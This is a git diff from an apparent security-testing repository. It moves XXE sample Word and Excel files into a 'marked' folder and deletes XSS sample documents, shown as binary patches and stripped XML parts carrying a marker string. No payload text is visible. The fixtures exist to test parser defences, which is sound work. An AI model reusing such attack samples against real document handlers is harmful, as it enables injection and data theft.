a/samples/xxe/docx_sample_oxml_xxe_mod1/docProps/app.xml b/samples/marked/docx_sample_oxml_xxe_mod1/docProps/app.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/docProps/app.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/docProps/app.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/docProps/core.xml b/samples/marked/docx_sample_oxml_xxe_mod1/docProps/core.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/docProps/core.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/docProps/core.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/_rels/document.xml.rels b/samples/marked/docx_sample_oxml_xxe_mod1/word/_rels/document.xml.rels similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/_rels/document.xml.rels rename to samples/marked/docx_sample_oxml_xxe_mod1/word/_rels/document.xml.rels diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/document.xml b/samples/marked/docx_sample_oxml_xxe_mod1/word/document.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/document.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/word/document.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/fontTable.xml b/samples/marked/docx_sample_oxml_xxe_mod1/word/fontTable.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/fontTable.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/word/fontTable.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/settings.xml b/samples/marked/docx_sample_oxml_xxe_mod1/word/settings.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/settings.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/word/settings.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/styles.xml b/samples/marked/docx_sample_oxml_xxe_mod1/word/styles.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/styles.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/word/styles.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/stylesWithEffects.xml b/samples/marked/docx_sample_oxml_xxe_mod1/word/stylesWithEffects.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/stylesWithEffects.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/word/stylesWithEffects.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/theme/theme1.xml b/samples/marked/docx_sample_oxml_xxe_mod1/word/theme/theme1.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/theme/theme1.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/word/theme/theme1.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/word/webSettings.xml b/samples/marked/docx_sample_oxml_xxe_mod1/word/webSettings.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/word/webSettings.xml rename to samples/marked/docx_sample_oxml_xxe_mod1/word/webSettings.xml diff --git a/samples/xxe/sample_oxml_xxe.docx b/samples/marked/sample_oxml_xxe.docx similarity index 100% rename from samples/xxe/sample_oxml_xxe.docx rename to samples/marked/sample_oxml_xxe.docx diff --git a/samples/xxe/sample_oxml_xxe_mod0.docx b/samples/marked/sample_oxml_xxe_mod0.docx similarity index 100% rename from samples/xxe/sample_oxml_xxe_mod0.docx rename to samples/marked/sample_oxml_xxe_mod0.docx diff --git a/samples/xxe/sample_oxml_xxe_mod1.docx b/samples/marked/sample_oxml_xxe_mod1.docx similarity index 100% rename from samples/xxe/sample_oxml_xxe_mod1.docx rename to samples/marked/sample_oxml_xxe_mod1.docx diff --git a/samples/xxe/xlsx_created_in_wps.xlsx b/samples/marked/xlsx_created_in_wps.xlsx similarity index 100% rename from samples/xxe/xlsx_created_in_wps.xlsx rename to samples/marked/xlsx_created_in_wps.xlsx diff --git a/samples/xxe/xlsx_created_in_wps/[Content_Types].xml b/samples/marked/xlsx_created_in_wps/[Content_Types].xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/[Content_Types].xml rename to samples/marked/xlsx_created_in_wps/[Content_Types].xml diff --git a/samples/xxe/xlsx_created_in_wps/_rels/.rels b/samples/marked/xlsx_created_in_wps/_rels/.rels similarity index 100% rename from samples/xxe/xlsx_created_in_wps/_rels/.rels rename to samples/marked/xlsx_created_in_wps/_rels/.rels diff --git a/samples/xxe/xlsx_created_in_wps/docProps/app.xml b/samples/marked/xlsx_created_in_wps/docProps/app.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/docProps/app.xml rename to samples/marked/xlsx_created_in_wps/docProps/app.xml diff --git a/samples/xxe/xlsx_created_in_wps/docProps/core.xml b/samples/marked/xlsx_created_in_wps/docProps/core.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/docProps/core.xml rename to samples/marked/xlsx_created_in_wps/docProps/core.xml diff --git a/samples/xxe/xlsx_created_in_wps/docProps/custom.xml b/samples/marked/xlsx_created_in_wps/docProps/custom.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/docProps/custom.xml rename to samples/marked/xlsx_created_in_wps/docProps/custom.xml diff --git a/samples/xxe/xlsx_created_in_wps/xl/_rels/workbook.xml.rels b/samples/marked/xlsx_created_in_wps/xl/_rels/workbook.xml.rels similarity index 100% rename from samples/xxe/xlsx_created_in_wps/xl/_rels/workbook.xml.rels rename to samples/marked/xlsx_created_in_wps/xl/_rels/workbook.xml.rels diff --git a/samples/xxe/xlsx_created_in_wps/xl/sharedStrings.xml b/samples/marked/xlsx_created_in_wps/xl/sharedStrings.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/xl/sharedStrings.xml rename to samples/marked/xlsx_created_in_wps/xl/sharedStrings.xml diff --git a/samples/xxe/xlsx_created_in_wps/xl/styles.xml b/samples/marked/xlsx_created_in_wps/xl/styles.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/xl/styles.xml rename to samples/marked/xlsx_created_in_wps/xl/styles.xml diff --git a/samples/xxe/xlsx_created_in_wps/xl/theme/theme1.xml b/samples/marked/xlsx_created_in_wps/xl/theme/theme1.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/xl/theme/theme1.xml rename to samples/marked/xlsx_created_in_wps/xl/theme/theme1.xml diff --git a/samples/xxe/xlsx_created_in_wps/xl/workbook.xml b/samples/marked/xlsx_created_in_wps/xl/workbook.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/xl/workbook.xml rename to samples/marked/xlsx_created_in_wps/xl/workbook.xml diff --git a/samples/xxe/xlsx_created_in_wps/xl/worksheets/sheet1.xml b/samples/marked/xlsx_created_in_wps/xl/worksheets/sheet1.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps/xl/worksheets/sheet1.xml rename to samples/marked/xlsx_created_in_wps/xl/worksheets/sheet1.xml diff --git a/samples/xxe/xlsx_created_in_wps2.xlsx b/samples/marked/xlsx_created_in_wps2.xlsx similarity index 100% rename from samples/xxe/xlsx_created_in_wps2.xlsx rename to samples/marked/xlsx_created_in_wps2.xlsx diff --git a/samples/xxe/xlsx_created_in_wps2_basic/[Content_Types].xml b/samples/marked/xlsx_created_in_wps2_basic/[Content_Types].xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/[Content_Types].xml rename to samples/marked/xlsx_created_in_wps2_basic/[Content_Types].xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/_rels/.rels b/samples/marked/xlsx_created_in_wps2_basic/_rels/.rels similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/_rels/.rels rename to samples/marked/xlsx_created_in_wps2_basic/_rels/.rels diff --git a/samples/xxe/xlsx_created_in_wps2_basic/docProps/app.xml b/samples/marked/xlsx_created_in_wps2_basic/docProps/app.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/docProps/app.xml rename to samples/marked/xlsx_created_in_wps2_basic/docProps/app.xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/docProps/core.xml b/samples/marked/xlsx_created_in_wps2_basic/docProps/core.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/docProps/core.xml rename to samples/marked/xlsx_created_in_wps2_basic/docProps/core.xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/docProps/custom.xml b/samples/marked/xlsx_created_in_wps2_basic/docProps/custom.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/docProps/custom.xml rename to samples/marked/xlsx_created_in_wps2_basic/docProps/custom.xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/xl/_rels/workbook.xml.rels b/samples/marked/xlsx_created_in_wps2_basic/xl/_rels/workbook.xml.rels similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/xl/_rels/workbook.xml.rels rename to samples/marked/xlsx_created_in_wps2_basic/xl/_rels/workbook.xml.rels diff --git a/samples/xxe/xlsx_created_in_wps2_basic/xl/sharedStrings.xml b/samples/marked/xlsx_created_in_wps2_basic/xl/sharedStrings.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/xl/sharedStrings.xml rename to samples/marked/xlsx_created_in_wps2_basic/xl/sharedStrings.xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/xl/styles.xml b/samples/marked/xlsx_created_in_wps2_basic/xl/styles.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/xl/styles.xml rename to samples/marked/xlsx_created_in_wps2_basic/xl/styles.xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/xl/theme/theme1.xml b/samples/marked/xlsx_created_in_wps2_basic/xl/theme/theme1.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/xl/theme/theme1.xml rename to samples/marked/xlsx_created_in_wps2_basic/xl/theme/theme1.xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/xl/workbook.xml b/samples/marked/xlsx_created_in_wps2_basic/xl/workbook.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/xl/workbook.xml rename to samples/marked/xlsx_created_in_wps2_basic/xl/workbook.xml diff --git a/samples/xxe/xlsx_created_in_wps2_basic/xl/worksheets/sheet1.xml b/samples/marked/xlsx_created_in_wps2_basic/xl/worksheets/sheet1.xml similarity index 100% rename from samples/xxe/xlsx_created_in_wps2_basic/xl/worksheets/sheet1.xml rename to samples/marked/xlsx_created_in_wps2_basic/xl/worksheets/sheet1.xml diff --git a/samples/xss/docx/xss_sample_0.docx b/samples/xss/docx/xss_sample_0.docx deleted file mode 100755 index d5785d89879288784d968c469f59d5ef273758d1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11590 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 - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/_rels/.rels b/samples/xss/docx/xss_sample_0_docx/_rels/.rels deleted file mode 100755 index 1dfdb95..0000000 --- a/samples/xss/docx/xss_sample_0_docx/_rels/.rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/customXml/_rels/item1.xml.rels b/samples/xss/docx/xss_sample_0_docx/customXml/_rels/item1.xml.rels deleted file mode 100755 index 901d7e7..0000000 --- a/samples/xss/docx/xss_sample_0_docx/customXml/_rels/item1.xml.rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/customXml/itemProps1.xml b/samples/xss/docx/xss_sample_0_docx/customXml/itemProps1.xml deleted file mode 100755 index c2da389..0000000 --- a/samples/xss/docx/xss_sample_0_docx/customXml/itemProps1.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/docProps/app.xml b/samples/xss/docx/xss_sample_0_docx/docProps/app.xml deleted file mode 100755 index 733624c..0000000 --- a/samples/xss/docx/xss_sample_0_docx/docProps/app.xml +++ /dev/null @@ -1,2 +0,0 @@ - -XXCb8bBA9XX1XXCb8bBA9XX0XXCb8bBA9XX0XXCb8bBA9XX00falsefalse0XXCb8bBA9XXWPS Office Community_10.1.0.5707_F1E327BC-269C-435d-A152-05C5408002CA0 \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/docProps/core.xml b/samples/xss/docx/xss_sample_0_docx/docProps/core.xml deleted file mode 100755 index 0aceb73..0000000 --- a/samples/xss/docx/xss_sample_0_docx/docProps/core.xml +++ /dev/null @@ -1,2 +0,0 @@ - -XXCb8bBA9XX2018-07-18T17:59:00ZXXCb8bBA9XXx3ntx3nt2018-07-18T18:06:19Z \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/docProps/custom.xml b/samples/xss/docx/xss_sample_0_docx/docProps/custom.xml deleted file mode 100755 index eb141a7..0000000 --- a/samples/xss/docx/xss_sample_0_docx/docProps/custom.xml +++ /dev/null @@ -1,2 +0,0 @@ - -XXCb8bBA9XX1033-10.1.0.5707 \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/word/_rels/document.xml.rels b/samples/xss/docx/xss_sample_0_docx/word/_rels/document.xml.rels deleted file mode 100755 index 3f4b8ca..0000000 --- a/samples/xss/docx/xss_sample_0_docx/word/_rels/document.xml.rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/word/document.xml b/samples/xss/docx/xss_sample_0_docx/word/document.xml deleted file mode 100755 index 058f1b7..0000000 --- a/samples/xss/docx/xss_sample_0_docx/word/document.xml +++ /dev/null @@ -1,2 +0,0 @@ - -XXCb8bBA9XXTestXXCb8bBA9XXTest_boldXXCb8bBA9XXTest_underscore \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/word/fontTable.xml b/samples/xss/docx/xss_sample_0_docx/word/fontTable.xml deleted file mode 100755 index fb9f900..0000000 --- a/samples/xss/docx/xss_sample_0_docx/word/fontTable.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/word/settings.xml b/samples/xss/docx/xss_sample_0_docx/word/settings.xml deleted file mode 100755 index 93fc1bb..0000000 --- a/samples/xss/docx/xss_sample_0_docx/word/settings.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/word/styles.xml b/samples/xss/docx/xss_sample_0_docx/word/styles.xml deleted file mode 100755 index 8949e5b..0000000 --- a/samples/xss/docx/xss_sample_0_docx/word/styles.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/word/theme/theme1.xml b/samples/xss/docx/xss_sample_0_docx/word/theme/theme1.xml deleted file mode 100755 index 7d465c7..0000000 --- a/samples/xss/docx/xss_sample_0_docx/word/theme/theme1.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_wo_magic.docx b/samples/xss/docx/xss_sample_0_wo_magic.docx deleted file mode 100755 index 63a5fc2f4000ce72b7b5c63c56e899299a856f9c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11007 zcmb7q1z6PE7B3);z|alSozfs69U_RNbT>mYba!_vT_T9Iba#VD3?~)z^Vu#!-hOS z{7Kekl6<2M4FzQY0|f>6Cz-yjEepunDl=9W=*NcLwV1ps09eR|lgOmU4?Z!UdC~gA zEY1E${PVf0sm)s5Sc#dPg?&DrYu={dQWou+5n<)n>K26=cIRZP{F=dfDPVQ9FNsiE=#uw?F5(1+qf1|u zYF4~Ymi`ljY~)NmzaZZ{E|mlV_re8Y`r`%Lt9-8Dwm9q$*omh@#Po6Ov!WJ;)YR5o zfbVQ>{k01NT2_}aEmtk;bRF63PBipHUf0r3kNe*A*XU1v)rs$5aS#I5x+sk~(JrLy zu(vjUn2TNqdCkKE<85!#+?IE#PYdFU4!=CdcH@=JrPt9TF0l0LmNw8F^vO(+I4viW zbMJCb?nD1`7lxxdZPh^$CIk&cB`CqSN6bXw$me>Tnf^b5hblQxX;r)`$al zjMH*E5p1Z+i5^k&`$>gwpA`U-Lc80-Et%@FT4~3O1hHzw8vsllU&Bev_A8}R)aN;0 zo&b_J& z?1w8>;hp830Gy9AcNO!FBa};iw4N)?JYzTT3KLcxDZeQy<^XFWiKviEEJh(A2>QIp z@yVRcWIUMYDLlng!4f@5m@nkiop5*NF%9s*y?BATA+X#xRkzK?l}*_lxzA;>-@za> zFX`*Si#B+Ai~jkoB1IXD8Xf1dkM1qFXLeE7qL(8cVnrYaFze{5Xey_M%!8~b_8L`XOBHCde(VCK}} zh8~`gbltb-`3>lNej4gLW-9Hx6ad67PO{1R0ASCfSM^rIpIT0uNsYs8iGE>Pa{Ow@pY1}X+XdXX56HVLoeC6 zE+EB;&sW5WBjfh_C9%2?yRJe{LT0VXi*ZiHR~PyT*1bV1EfFh=$T(e= zwL2Rnzb54)@w@(jKs%0Lp^SOir%@ z%lUFI`buDgVTIi^FXX7i9v^+;7BkyB~QlKqhI_>J8|YN zRCSa)LR7l)&^t4_y6er+>*@)3OkcE$kST@!aA8*2Ka=ozKX>k;Y^QU_A8(<$0v5QB|4v4eK(X+=-@xvVtY zDF>>sM-lo$|E55+DICC3c`u79x?G2%c{~-h>dulE^<}+;*<<=H#!q}PE}KKX5$3Gk z6JKa&DHE9FhO5qCrLF+hnmPotBE(l>jpxCp-Zt#!xo! zLgKKWuexv|b?I#1&v}E*ce&i(V}TcUB2u;-&S5}(ZrM^YzFM#-N6HNNUgxK+P57X* zK`i_hIHo9HpSb5oFx}_hc(R!ZyYRHy9>bHp%YDrkz!cgGib>qcpqN(M4Moc^tr%k# z-QdLL9RI3H$QYhaYKanNAxAK19{Daa(8yQ5vk`kmbrrUjB9hR9K0e^JuQz20r6J$* z#i=DsM;+Atz6%*sTcpqB@U{Jq!^lPP-uBN`pDMpBUoQ60#X(CwummwIP9G{amoHy= 